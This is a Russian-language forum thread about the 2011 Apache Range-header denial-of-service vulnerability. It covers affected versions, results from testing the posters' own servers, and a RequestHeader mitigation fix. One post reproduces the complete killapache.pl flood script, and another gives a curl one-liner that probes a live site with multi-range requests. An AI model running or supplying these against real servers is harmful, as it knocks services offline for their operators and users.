	>>Тем что укажи пробел, или убери символ и все - защита не работает. > Второй из представленных в новости вариантов защищает от таких ситуаций не хуже > вашего и при этом проще. Вчера по нехватки времени вставлял шаблоны региксов и уже не помню какой и где чем болеет, пришлось писать свой чтобы не было обхода из-за пробелов. Так же мой вариант предоставляет указать число допустимых диапозонов (то есть не убивая сам факт докачки), а так же по протоколу слово "bytes" не единственное(которые практически не используются, но допускаются). Я не претендую на совершенство шаблона регикса, просто меня взбесила такая не серьезно заглушки, которая обходиться вставив табуляцию, пробел...
	Ответить | Правка | ^ к родителю #91 | Наверх | Cообщить модератору

85. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache"	+/–
Сообщение от Анон on 26-Авг-11, 08:30
Вот что-то нахерачил на баше: seq 2 100 | xargs -I _ sh -c "echo -n \",\$((_-1))-_\"" | xargs -t -I _ sh -c "curl -s -I -H \"Range: bytes=0-1_\" -H \"Accept-Encoding: gzip\" -H \"Connection: close\" https://www.opennet.ru/" | fgrep Partial Но из тех, кто выдавал партиал, что-то еще ни один не упал, если грузить не только хедеры. Я неправильно понял задумку или просто не нашел ни одного уязвимого сайта?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

86. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
Сообщение от kulibin on 26-Авг-11, 11:06
#!/usr/bin/perl # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) {$p .= ",5-$k";} for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto  => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; if ( defined($sock) ) { print $sock $p; } while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print "YES!!!\n"; } if (@ARGV < 0) {usage; exit;} if (@ARGV > 1) {$numforks = $ARGV[1]; } else {$numforks = 50;} while(1) {killapache();}
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

89. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
Сообщение от Xaionaro (ok) on 26-Авг-11, 13:28
Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где эта атака сработала бы.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	101. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 19:05
	> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где > эта атака сработала бы. Учтя что оно работает даже на сайте опача :))) здесь что-то не так. Может быть, у вас в компании не используется апач? :)
	Ответить | Правка | ^ к родителю #89 | Наверх | Cообщить модератору

	111. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от Xaionaro (ok) on 27-Авг-11, 19:13
	>> Серьёзно. Повезло, что нигде у себя в конторе не нашёл сервера, где >> эта атака сработала бы. > Учтя что оно работает даже на сайте опача :))) здесь что-то не > так. Может быть, у вас в компании не используется апач? :) Нет, у нас почти везде есть какой-то front-end, слишком большие нагрузки.
	Ответить | Правка | ^ к родителю #101 | Наверх | Cообщить модератору

92. "Apache 1.3.x - не подвержен?"	+/–
Сообщение от fossil on 26-Авг-11, 14:13
> Ветка Apache 1.3.x также подвержена проблеме, но исправление для неё выпущено не будет, так как поддержка данной ветки прекращена. Врут? Не вижу никаких проблем с apache 1.3.x vs apache2 с выключенным gzip. Тестировал на одном файле и одном железе, заголовки ответа отдают одинаковые. Вот только apache2 жрет 82MB RSS на запрос и отдает 10 запросов в секунду, а в apache1 потребление памяти не увеличивается и отдается ~500 запросов в секунду. 4674  1.4  3.9  99444 82080 ?        S    13:58   0:00 apache2 30401  0.0  0.2   7864  5248 ?        S    13:57   0:00 httpd
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	93. "Apache 1.3.x - не подвержен?"	+/–
	Сообщение от Xaionaro (ok) on 26-Авг-11, 14:20
	Да, я у себя тоже нашёл сервак с apache 1.3.41 (из портов FreeBSD), проверил, не работает атака. ОЗУ там гиг всего Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака. Остальные сервера закрыты nginx-ом или lighttpd.
	Ответить | Правка | ^ к родителю #92 | Наверх | Cообщить модератору

	95. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от fossil on 26-Авг-11, 14:26
	>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака. Вероятно плохо проверял, надо на статике проверять. 2.2.16 из репозитория Debian -подвержен.
	Ответить | Правка | ^ к родителю #93 | Наверх | Cообщить модератору

	96. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Xaionaro (ok) on 26-Авг-11, 14:42
	>>Нашёл так же сервер с apache 2.2.16 (из репозитория debian), тоже не сработала атака. > Вероятно плохо проверял, надо на статике проверять. > 2.2.16 из репозитория Debian -подвержен. Ну, мне лень разбираться почему не сработало. Но насколько я помню, там gzip в apache отключен, т.е. да, эксперимент некорректен, извиняюсь.
	Ответить | Правка | ^ к родителю #95 | Наверх | Cообщить модератору

	103. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Аноним (??) on 26-Авг-11, 19:10
	> Ну, мне лень разбираться почему не сработало. И на этом основании делаются выводы о том что атака не работает? Весьма блондинистый подход к вопросу.
	Ответить | Правка | ^ к родителю #96 | Наверх | Cообщить модератору

	106. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Xaionaro (ok) on 26-Авг-11, 20:58
	>> Ну, мне лень разбираться почему не сработало. > И на этом основании делаются выводы о том что атака не работает? > Весьма блондинистый подход к вопросу. Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что скорее всего не так.
	Ответить | Правка | ^ к родителю #103 | Наверх | Cообщить модератору

	107. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Вася Пупкин on 27-Авг-11, 03:34
	>>> Ну, мне лень разбираться почему не сработало. >> И на этом основании делаются выводы о том что атака не работает? >> Весьма блондинистый подход к вопросу. > Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что > скорее всего не так. Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;)
	Ответить | Правка | ^ к родителю #106 | Наверх | Cообщить модератору

	108. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Xaionaro (ok) on 27-Авг-11, 15:51
	>>>> Ну, мне лень разбираться почему не сработало. >>> И на этом основании делаются выводы о том что атака не работает? >>> Весьма блондинистый подход к вопросу. >> Я ж сказал, "т.е. да, эксперимент некорректен, извиняюсь". Притом даже пояснил что >> скорее всего не так. > Давай, делись адресочком своих серверов, а мы уже как нить да и > посмотрим ;) Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика". И если я уже озвучил версии ПО, то из соображений безопасности я обязан вам не говорить адреса серверов :)
	Ответить | Правка | ^ к родителю #107 | Наверх | Cообщить модератору

	109. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Вася Пупкин on 27-Авг-11, 18:42
	> Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика". > И если я уже озвучил версии ПО, то из соображений безопасности > я обязан вам не говорить адреса серверов :) Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то грош-цена такой защите. Вот например в банковском секторе используются криптоалгоритмы которые "открыты" изначально (не опенсорс но всем известны). И это только добавляет уверенности в их надежности. Что касается конкретно данного бага/фичи/дырки в апаче, могу вас уверить - падают практически все апачи установленные с параметрами по умолчанию. И очень многие с дополнительными плюшками защиты. Скорость падения зависит в основном от ресурсов сервера.
	Ответить | Правка | ^ к родителю #108 | Наверх | Cообщить модератору

	110. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Xaionaro (ok) on 27-Авг-11, 19:13
	>> Да я бы с радостью. Но у меня выработана некоторая "корпоративная этика". >> И если я уже озвучил версии ПО, то из соображений безопасности >> я обязан вам не говорить адреса серверов :) > Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, то грош-цена > такой защите. > Вот например в банковском секторе используются криптоалгоритмы которые "открыты" изначально > (не опенсорс но всем известны). > И это только добавляет уверенности в их надежности. Я что-то не понял, я разве сказал, что защита на этом базируется? Это одна из мелких, но вполне разумных мер предосторожности. > Что касается конкретно данного бага/фичи/дырки в апаче, могу вас уверить - падают > практически все апачи установленные с параметрами по умолчанию. И очень многие > с дополнительными плюшками защиты. Скорость падения зависит в основном от ресурсов > сервера. Верю. Как я сказал, мне повезло. Обычные меры предосторожности (отключение лишних модулей и т.п.) помогли.
	Ответить | Правка | ^ к родителю #109 | Наверх | Cообщить модератору

	118. "а вот Apache 2.2.16 - подвержен"	+1 +/–
	Сообщение от Michael Shigorin (ok) on 29-Авг-11, 10:31
	> Если Ваша защита базируется на незнании версий ПО заинтересованной стороной, > то грош-цена такой защите. Если Вы делаете такие выводы, то грош цена как раз им. > Вот например в банковском секторе [...]  уверенности Ой, вот только не надо про банки и прочих локхидмартинов.
	Ответить | Правка | ^ к родителю #109 | Наверх | Cообщить модератору

	114. "а вот Apache 2.2.16 - подвержен"	+/–
	Сообщение от Аноним (??) on 28-Авг-11, 17:14
	> Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;) У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле указан - http://dxhosting.ru :). И при этом он ухитряется играть в прятки, лол :)
	Ответить | Правка | ^ к родителю #107 | Наверх | Cообщить модератору

	115. "а вот Apache 2.2.16 - подвержен"	+1 +/–
	Сообщение от Xaionaro (ok) on 28-Авг-11, 21:51
	>> Давай, делись адресочком своих серверов, а мы уже как нить да и посмотрим ;) > У этого наивного чукотского юноши адресок с серверами кажется прямо в профайле > указан - http://dxhosting.ru :). И при этом он ухитряется играть в > прятки, лол :) Я ещё раз повторяю (предыдущие такое же замечание было удалено модераторами). Я работаю НЕ в http://dxhosting.ru. Да и даже если я скажу где я работаю, это всё-равно не даст вам возможности узнать адреса тех серверов, которые я упоминал. А dxhosting - это лишь хобби. "лол". Что ж вы все такие наивные то?
	Ответить | Правка | ^ к родителю #114 | Наверх | Cообщить модератору

	117. "Apache 1.3.x - не подвержен?"	+/–
	Сообщение от Michael Shigorin (ok) on 29-Авг-11, 10:29
	> Врут? Не вижу никаких проблем с apache 1.3.x У меня такое ощущение уже несколько лет, что какие-то к... колхозники из числа бывших студентов, дорвавшихся до кодовой базы apache-2.0, упор{н,от}о пытаются закопать этот работающий production код, чтоб их поде^H^Wтворение поскорей расползлось.
	Ответить | Правка | ^ к родителю #92 | Наверх | Cообщить модератору

	120. "Apache 1.3.x - не подвержен?"	+/–
	Сообщение от fossil on 29-Авг-11, 12:03
	>> Врут? Не вижу никаких проблем с apache 1.3.x > У меня такое ощущение уже несколько лет +100. У меня до сих пор почти везде 1.3.x. Но, к сожалению, закапывают они довольно успешно. :(
	Ответить | Правка | ^ к родителю #117 | Наверх | Cообщить модератору

119. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
Сообщение от Аноним (??) on 29-Авг-11, 11:53
У меня такая проблема: При использовании SetEnvIf для Apache 2.0 и 2.2: выдает header unset takes two arguments в строке RequestHeader unset Range env=bad-range как починить? Apache/2.0.63
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	123. "Легко эксплуатируемая DoS-уязвимость в HTTP-сервере Apache (..."	+/–
	Сообщение от a (??) on 06-Сен-11, 17:18
	заменить на RequestHeader set Range "badrange" env=bad-range
	Ответить | Правка | ^ к родителю #119 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема